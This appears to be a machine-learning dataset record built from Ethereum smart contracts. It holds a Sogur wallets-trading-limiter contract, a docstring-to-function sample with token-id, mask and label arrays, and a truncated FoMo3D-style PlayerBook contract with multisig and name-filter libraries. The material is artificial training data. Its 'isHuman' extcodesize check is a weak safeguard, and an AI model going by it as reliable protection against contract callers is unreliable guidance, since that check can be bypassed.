openzeppelin-solidity-v1.12.0/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: contracts/wallet_trading_limiter/WalletsTradingLimiterBase.sol /** * Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1 */ /** * @title Wallets Trading Limiter Base. */ contract WalletsTradingLimiterBase is IWalletsTradingLimiter, ContractAddressLocatorHolder, Claimable { string public constant VERSION = "1.1.0"; bytes32 public walletsTradingDataSourceIdentifier; /** * @dev Create the contract. * @param _contractAddressLocator The contract address locator. */ constructor(IContractAddressLocator _contractAddressLocator, bytes32 _walletsTradingDataSourceIdentifier) ContractAddressLocatorHolder(_contractAddressLocator) public { walletsTradingDataSourceIdentifier = _walletsTradingDataSourceIdentifier; } /** * @dev Return the contract which implements the IAuthorizationDataSource interface. */ function getAuthorizationDataSource() public view returns (IAuthorizationDataSource) { return IAuthorizationDataSource(getContractAddress(_IAuthorizationDataSource_)); } /** * @dev Return the contract which implements the ITradingClasses interface. */ function getTradingClasses() public view returns (ITradingClasses) { return ITradingClasses(getContractAddress(_ITradingClasses_)); } /** * @dev Return the contract which implements the IWalletsTradingDataSource interface. */ function getWalletsTradingDataSource() public view returns (IWalletsTradingDataSource) { return IWalletsTradingDataSource(getContractAddress(walletsTradingDataSourceIdentifier)); } /** * @dev Return the contract which implements the IWalletsTradingLimiterValueConverter interface. */ function getWalletsTradingLimiterValueConverter() public view returns (IWalletsTradingLimiterValueConverter) { return IWalletsTradingLimiterValueConverter(getContractAddress(_IWalletsTradingLimiterValueConverter_)); } /** * @dev Get the contract locator identifier that is permitted to perform update wallet. * @return The contract locator identifier. */ function getUpdateWalletPermittedContractLocatorIdentifier() public pure returns (bytes32); /** * @dev Get the wallet override trade-limit and class. * @return The wallet override trade-limit and class. */ function getOverrideTradeLimitAndClass(address _wallet) public view returns (uint256, uint256); /** * @dev Get the wallet trade-limit. * @return The wallet trade-limit. */ function getTradeLimit(uint256 _tradeClassId) public view returns (uint256); /** * @dev Get the limiter value. * @param _value The amount to be converted to the limiter value. * @return The limiter value worth of the given amount. */ function getLimiterValue(uint256 _value) public view returns (uint256); /** * @dev Increment the limiter value of a wallet. * @param _wallet The address of the wallet. * @param _value The amount to be updated. */ function updateWallet(address _wallet, uint256 _value) external only(getUpdateWalletPermittedContractLocatorIdentifier()) { uint256 limiterValue = getLimiterValue(_value); (uint256 overrideTradeLimit, uint256 tradeClassId) = getOverrideTradeLimitAndClass(_wallet); uint256 tradeLimit = overrideTradeLimit > 0 ? overrideTradeLimit : getTradeLimit(tradeClassId); getWalletsTradingDataSource().updateWallet(_wallet, limiterValue, tradeLimit); } } // File: contracts/sogur/SGRWalletsTradingLimiter.sol /** * Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1 */ /** * @title SGR Wallets Trading Limiter. */ contract SGRWalletsTradingLimiter is WalletsTradingLimiterBase { string public constant VERSION = "1.1.0"; /** * @dev Create the contract. * @param _contractAddressLocator The contract address locator. */ constructor(IContractAddressLocator _contractAddressLocator, bytes32 _walletsTradingDataSourceIdentifier) WalletsTradingLimiterBase(_contractAddressLocator, _walletsTradingDataSourceIdentifier) public {} /** * @dev Get the contract locator identifier that is permitted to perform update wallet. * @return The contract locator identifier. */ function getUpdateWalletPermittedContractLocatorIdentifier() public pure returns (bytes32){ return _ISGRTokenManager_; } /** * @dev Get the limiter value. * @param _value The SGR amount to convert to limiter value. * @return The limiter value worth of the given SGR amount. */ function getLimiterValue(uint256 _value) public view returns (uint256){ return getWalletsTradingLimiterValueConverter().toLimiterValue(_value); } } // File: contracts/sogur/SGRBuyWalletsTradingLimiter.sol /** * Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1 */ /** * @title SGR Buy Wallets Trading Limiter. */ contract SGRBuyWalletsTradingLimiter is SGRWalletsTradingLimiter { string public constant VERSION = "2.0.0"; /** * @dev Create the contract. * @param _contractAddressLocator The contract address locator. */ constructor(IContractAddressLocator _contractAddressLocator) SGRWalletsTradingLimiter(_contractAddressLocator, _BuyWalletsTradingDataSource_) public {} /** * @dev Get the wallet override trade-limit and class. * @return The wallet override trade-limit and class. */ function getOverrideTradeLimitAndClass(address _wallet) public view returns (uint256, uint256){ return getAuthorizationDataSource().getBuyTradeLimitAndClass(_wallet); } /** * @dev Get the wallet trade-limit. * @return The wallet trade-limit. */ function getTradeLimit(uint256 _tradeClassId) public view returns (uint256){ return getTradingClasses().getBuyLimit(_tradeClassId); } }
* @dev Get the contract locator identifier that is permitted to perform update wallet. @return The contract locator identifier./* @dev Get the wallet override trade-limit and class. @return The wallet override trade-limit and class./* @dev Get the wallet trade-limit. @return The wallet trade-limit./* @dev Get the limiter value. @param _value The amount to be converted to the limiter value. @return The limiter value worth of the given amount./* @dev Increment the limiter value of a wallet. @param _wallet The address of the wallet. @param _value The amount to be updated./
function getUpdateWalletPermittedContractLocatorIdentifier() public pure returns (bytes32); function getOverrideTradeLimitAndClass(address _wallet) public view returns (uint256, uint256); function getTradeLimit(uint256 _tradeClassId) public view returns (uint256); function getLimiterValue(uint256 _value) public view returns (uint256); function updateWallet(address _wallet, uint256 _value) external only(getUpdateWalletPermittedContractLocatorIdentifier()) { uint256 limiterValue = getLimiterValue(_value); (uint256 overrideTradeLimit, uint256 tradeClassId) = getOverrideTradeLimitAndClass(_wallet); uint256 tradeLimit = overrideTradeLimit > 0 ? overrideTradeLimit : getTradeLimit(tradeClassId); getWalletsTradingDataSource().updateWallet(_wallet, limiterValue, tradeLimit); }
2,399,792
[ 1, 967, 326, 6835, 8871, 2756, 716, 353, 15498, 358, 3073, 1089, 9230, 18, 327, 1021, 6835, 8871, 2756, 18, 19, 225, 968, 326, 9230, 3849, 18542, 17, 3595, 471, 667, 18, 327, 1021, 9230, 3849, 18542, 17, 3595, 471, 667, 18, 19, 225, 968, 326, 9230, 18542, 17, 3595, 18, 327, 1021, 9230, 18542, 17, 3595, 18, 19, 225, 968, 326, 25057, 460, 18, 225, 389, 1132, 1021, 3844, 358, 506, 5970, 358, 326, 25057, 460, 18, 327, 1021, 25057, 460, 26247, 434, 326, 864, 3844, 18, 19, 225, 17883, 326, 25057, 460, 434, 279, 9230, 18, 225, 389, 19177, 1021, 1758, 434, 326, 9230, 18, 225, 389, 1132, 1021, 3844, 358, 506, 3526, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 23866, 16936, 31465, 8924, 5786, 3004, 1435, 1071, 16618, 1135, 261, 3890, 1578, 1769, 203, 203, 565, 445, 336, 6618, 22583, 3039, 1876, 797, 12, 2867, 389, 19177, 13, 1071, 1476, 1135, 261, 11890, 5034, 16, 2254, 5034, 1769, 203, 203, 565, 445, 336, 22583, 3039, 12, 11890, 5034, 389, 20077, 797, 548, 13, 1071, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 19563, 264, 620, 12, 11890, 5034, 389, 1132, 13, 1071, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 203, 565, 445, 1089, 16936, 12, 2867, 389, 19177, 16, 2254, 5034, 389, 1132, 13, 3903, 1338, 12, 588, 1891, 16936, 31465, 8924, 5786, 3004, 10756, 288, 203, 3639, 2254, 5034, 25057, 620, 273, 19563, 264, 620, 24899, 1132, 1769, 203, 203, 3639, 261, 11890, 5034, 3849, 22583, 3039, 16, 2254, 5034, 18542, 797, 548, 13, 273, 336, 6618, 22583, 3039, 1876, 797, 24899, 19177, 1769, 203, 203, 3639, 2254, 5034, 18542, 3039, 273, 3849, 22583, 3039, 405, 374, 692, 3849, 22583, 3039, 294, 336, 22583, 3039, 12, 20077, 797, 548, 1769, 203, 203, 3639, 13876, 454, 2413, 1609, 7459, 8597, 7675, 2725, 16936, 24899, 19177, 16, 25057, 620, 16, 18542, 3039, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // File: contracts/library/SafeMath.sol /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } // File: contracts/library/NameFilter.sol library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } // File: contracts/library/MSFun.sol /** @title -MSFun- v0.2.4 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ _ _ _ _ _ _ _ _ _ _ *=(_) _ _ (_)==========_(_)(_)(_)(_)_==========(_)(_)(_)(_)(_)================================* * (_)(_) (_)(_) (_) (_) (_) _ _ _ _ _ _ * (_) (_)_(_) (_) (_)_ _ _ _ (_) _ _ (_) (_) (_)(_)(_)(_)_ * (_) (_) (_) (_)(_)(_)(_)_ (_)(_)(_)(_) (_) (_) (_) * (_) (_) _ _ _ (_) _ _ (_) (_) (_) (_) (_) _ _ *=(_)=========(_)=(_)(_)==(_)_ _ _ _(_)=(_)(_)==(_)======(_)_ _ _(_)_ (_)========(_)=(_)(_)==* * (_) (_) (_)(_) (_)(_)(_)(_) (_)(_) (_) (_)(_)(_) (_)(_) (_) (_)(_) * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ * * ┌──────────────────────────────────────────────────────────────────────┐ * │ MSFun, is an importable library that gives your contract the ability │ * │ add multiSig requirement to functions. │ * └──────────────────────────────────────────────────────────────────────┘ * ┌────────────────────┐ * │ Setup Instructions │ * └────────────────────┘ * (Step 1) import the library into your contract * * import "./MSFun.sol"; * * (Step 2) set up the signature data for msFun * * MSFun.Data private msData; * ┌────────────────────┐ * │ Usage Instructions │ * └────────────────────┘ * at the beginning of a function * * function functionName() * { * if (MSFun.multiSig(msData, required signatures, "functionName") == true) * { * MSFun.deleteProposal(msData, "functionName"); * * // put function body here * } * } * ┌────────────────────────────────┐ * │ Optional Wrappers For TeamJust │ * └────────────────────────────────┘ * multiSig wrapper function (cuts down on inputs, improves readability) * this wrapper is HIGHLY recommended * * function multiSig(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredSignatures(), _whatFunction));} * function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));} * * wrapper for delete proposal (makes code cleaner) * * function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} * ┌────────────────────────────┐ * │ Utility & Vanity Functions │ * └────────────────────────────┘ * delete any proposal is highly recommended. without it, if an admin calls a multiSig * function, with argument inputs that the other admins do not agree upon, the function * can never be executed until the undesirable arguments are approved. * * function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} * * for viewing who has signed a proposal & proposal data * * function checkData(bytes32 _whatFunction) onlyAdmins() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} * * lets you check address of up to 3 signers (address) * * function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} * * same as above but will return names in string format. * * function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} * ┌──────────────────────────┐ * │ Functions In Depth Guide │ * └──────────────────────────┘ * In the following examples, the Data is the proposal set for this library. And * the bytes32 is the name of the function. * * MSFun.multiSig(Data, uint256, bytes32) - Manages creating/updating multiSig * proposal for the function being called. The uint256 is the required * number of signatures needed before the multiSig will return true. * Upon first call, multiSig will create a proposal and store the arguments * passed with the function call as msgData. Any admins trying to sign the * function call will need to send the same argument values. Once required * number of signatures is reached this will return a bool of true. * * MSFun.deleteProposal(Data, bytes32) - once multiSig unlocks the function body, * you will want to delete the proposal data. This does that. * * MSFun.checkMsgData(Data, bytes32) - checks the message data for any given proposal * * MSFun.checkCount(Data, bytes32) - checks the number of admins that have signed * the proposal * * MSFun.checkSigners(data, bytes32, uint256) - checks the address of a given signer. * the uint256, is the log number of the signer (ie 1st signer, 2nd signer) */ library MSFun { //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // DATA SETS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // contact data setup struct Data { mapping (bytes32 => ProposalData) proposal_; } struct ProposalData { // a hash of msg.data bytes32 msgData; // number of signers uint256 count; // tracking of wither admins have signed mapping (address => bool) admin; // list of admins who have signed mapping (uint256 => address) log; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // MULTI SIG FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction) internal returns(bool) { // our proposal key will be a hash of our function name + our contracts address // by adding our contracts address to this, we prevent anyone trying to circumvent // the proposal's security via external calls. bytes32 _whatProposal = whatProposal(_whatFunction); // this is just done to make the code more readable. grabs the signature count uint256 _currentCount = self.proposal_[_whatProposal].count; // store the address of the person sending the function call. we use msg.sender // here as a layer of security. in case someone imports our contract and tries to // circumvent function arguments. still though, our contract that imports this // library and calls multisig, needs to use onlyAdmin modifiers or anyone who // calls the function will be a signer. address _whichAdmin = msg.sender; // prepare our msg data. by storing this we are able to verify that all admins // are approving the same argument input to be executed for the function. we hash // it and store in bytes32 so its size is known and comparable bytes32 _msgData = keccak256(msg.data); // check to see if this is a new execution of this proposal or not if (_currentCount == 0) { // if it is, lets record the original signers data self.proposal_[_whatProposal].msgData = _msgData; // record original senders signature self.proposal_[_whatProposal].admin[_whichAdmin] = true; // update log (used to delete records later, and easy way to view signers) // also useful if the calling function wants to give something to a // specific signer. self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; // track number of signatures self.proposal_[_whatProposal].count += 1; // if we now have enough signatures to execute the function, lets // return a bool of true. we put this here in case the required signatures // is set to 1. if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } // if its not the first execution, lets make sure the msgData matches } else if (self.proposal_[_whatProposal].msgData == _msgData) { // msgData is a match // make sure admin hasnt already signed if (self.proposal_[_whatProposal].admin[_whichAdmin] == false) { // record their signature self.proposal_[_whatProposal].admin[_whichAdmin] = true; // update log (used to delete records later, and easy way to view signers) self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; // track number of signatures self.proposal_[_whatProposal].count += 1; } // if we now have enough signatures to execute the function, lets // return a bool of true. // we put this here for a few reasons. (1) in normal operation, if // that last recorded signature got us to our required signatures. we // need to return bool of true. (2) if we have a situation where the // required number of signatures was adjusted to at or lower than our current // signature count, by putting this here, an admin who has already signed, // can call the function again to make it return a true bool. but only if // they submit the correct msg data if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } } // deletes proposal signature data after successfully executing a multiSig function function deleteProposal(Data storage self, bytes32 _whatFunction) internal { //done for readability sake bytes32 _whatProposal = whatProposal(_whatFunction); address _whichAdmin; //delete the admins votes & log. i know for loops are terrible. but we have to do this //for our data stored in mappings. simply deleting the proposal itself wouldn't accomplish this. for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) { _whichAdmin = self.proposal_[_whatProposal].log[i]; delete self.proposal_[_whatProposal].admin[_whichAdmin]; delete self.proposal_[_whatProposal].log[i]; } //delete the rest of the data in the record delete self.proposal_[_whatProposal]; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // HELPER FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function whatProposal(bytes32 _whatFunction) private view returns(bytes32) { return(keccak256(abi.encodePacked(_whatFunction,this))); } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // VANITY FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // returns a hashed version of msg.data sent by original signer for any given function function checkMsgData (Data storage self, bytes32 _whatFunction) internal view returns (bytes32 msg_data) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].msgData); } // returns number of signers for any given function function checkCount (Data storage self, bytes32 _whatFunction) internal view returns (uint256 signature_count) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].count); } // returns address of an admin who signed for any given function function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer) internal view returns (address signer) { require(_signer > 0, "MSFun checkSigner failed - 0 not allowed"); bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].log[_signer - 1]); } } // File: contracts/interface/PlayerBookReceiverInterface.sol interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff, uint8 _level) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } // File: contracts/PlayerBook.sol /* * -PlayerBook - v-x * ______ _ ______ _ *====(_____ \=| |===============================(____ \===============| |=============* * _____) )| | _____ _ _ _____ ____ ____) ) ___ ___ | | _ * | ____/ | | (____ || | | || ___ | / ___) | __ ( / _ \ / _ \ | |_/ ) * | | | | / ___ || |_| || ____|| | | |__) )| |_| || |_| || _ ( *====|_|=======\_)\_____|=\__ ||_____)|_|======|______/==\___/==\___/=|_|=\_)=========* * (____/ * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private Community_Wallet1 = 0x00839c9d56F48E17d410E94309C91B9639D48242; address private Community_Wallet2 = 0x53bB6E7654155b8bdb5C4c6e41C9f47Cd8Ed1814; MSFun.Data private msData; function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; uint256 rreward; //for rank board uint256 cost; //everyone charges per round uint32 round; //rank round number for players uint8 level; } event eveSuperPlayer(bytes32 _name, uint256 _pid, address _addr, uint8 _level); event eveResolve(uint256 _startBlockNumber, uint32 _roundNumber); event eveUpdate(uint256 _pID, uint32 _roundNumber, uint256 _roundCost, uint256 _cost); event eveDeposit(address _from, uint256 _value, uint256 _balance ); event eveReward(uint256 _pID, uint256 _have, uint256 _reward, uint256 _vault, uint256 _allcost, uint256 _lastRefrralsVault ); event eveWithdraw(uint256 _pID, address _addr, uint256 _reward, uint256 _balance ); event eveSetAffID(uint256 _pID, address _addr, uint256 _laff, address _affAddr ); mapping (uint8 => uint256) public levelValue_; //for super player uint256[] public superPlayers_; //rank board data uint256[] public rankPlayers_; uint256[] public rankCost_; //the eth of refrerrals uint256 public referralsVault_; //the last rank round refrefrrals uint256 public lastRefrralsVault_; //time per round, the ethernum generate one block per 15 seconds, it will generate 24*60*60/15 blocks per 24h uint256 constant public roundBlockCount_ = 5760; //the start block numnber when the rank board had been activted for first time uint256 public startBlockNumber_; //rank top 10 uint8 constant public rankNumbers_ = 10; //current round number uint32 public roundNumber_; //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { levelValue_[3] = 0.003 ether; levelValue_[2] = 0.3 ether; levelValue_[1] = 1.5 ether; // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. pID_ = 0; rankPlayers_.length = rankNumbers_; rankCost_.length = rankNumbers_; roundNumber_ = 0; startBlockNumber_ = block.number; referralsVault_ = 0; lastRefrralsVault_ =0; addSuperPlayer(0x008d20ea31021bb4C93F3051aD7763523BBb0481,"main",1); addSuperPlayer(0x00De30E1A0E82750ea1f96f6D27e112f5c8A352D,"go",1); // addSuperPlayer(0x26042eb2f06D419093313ae2486fb40167Ba349C,"jack",1); addSuperPlayer(0x8d60d529c435e2A4c67FD233c49C3F174AfC72A8,"leon",1); addSuperPlayer(0xF9f24b9a5FcFf3542Ae3361c394AD951a8C0B3e1,"zuopiezi",1); addSuperPlayer(0x9ca974f2c49d68bd5958978e81151e6831290f57,"cowkeys",1); addSuperPlayer(0xf22978ed49631b68409a16afa8e123674115011e,"vulcan",1); addSuperPlayer(0x00b22a1D6CFF93831Cf2842993eFBB2181ad78de,"neo",1); // addSuperPlayer(0x10a04F6b13E95Bf8cC82187536b87A8646f1Bd9d,"mydream",1); // addSuperPlayer(0xce7aed496f69e2afdb99979952d9be8a38ad941d,"uking",1); addSuperPlayer(0x43fbedf2b2620ccfbd33d5c735b12066ff2fcdc1,"agg",1); } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } // only player with reward modifier onlyHaveReward() { require(myReward() > 0); _; } // check address modifier validAddress( address addr ) { require(addr != address(0x0)); _; } //devs check modifier onlyDevs(){ require( //msg.sender == 0x00D8E8CCb4A29625D299798036825f3fa349f2b4 ||//for test msg.sender == 0x00A32C09c8962AEc444ABde1991469eD0a9ccAf7 || msg.sender == 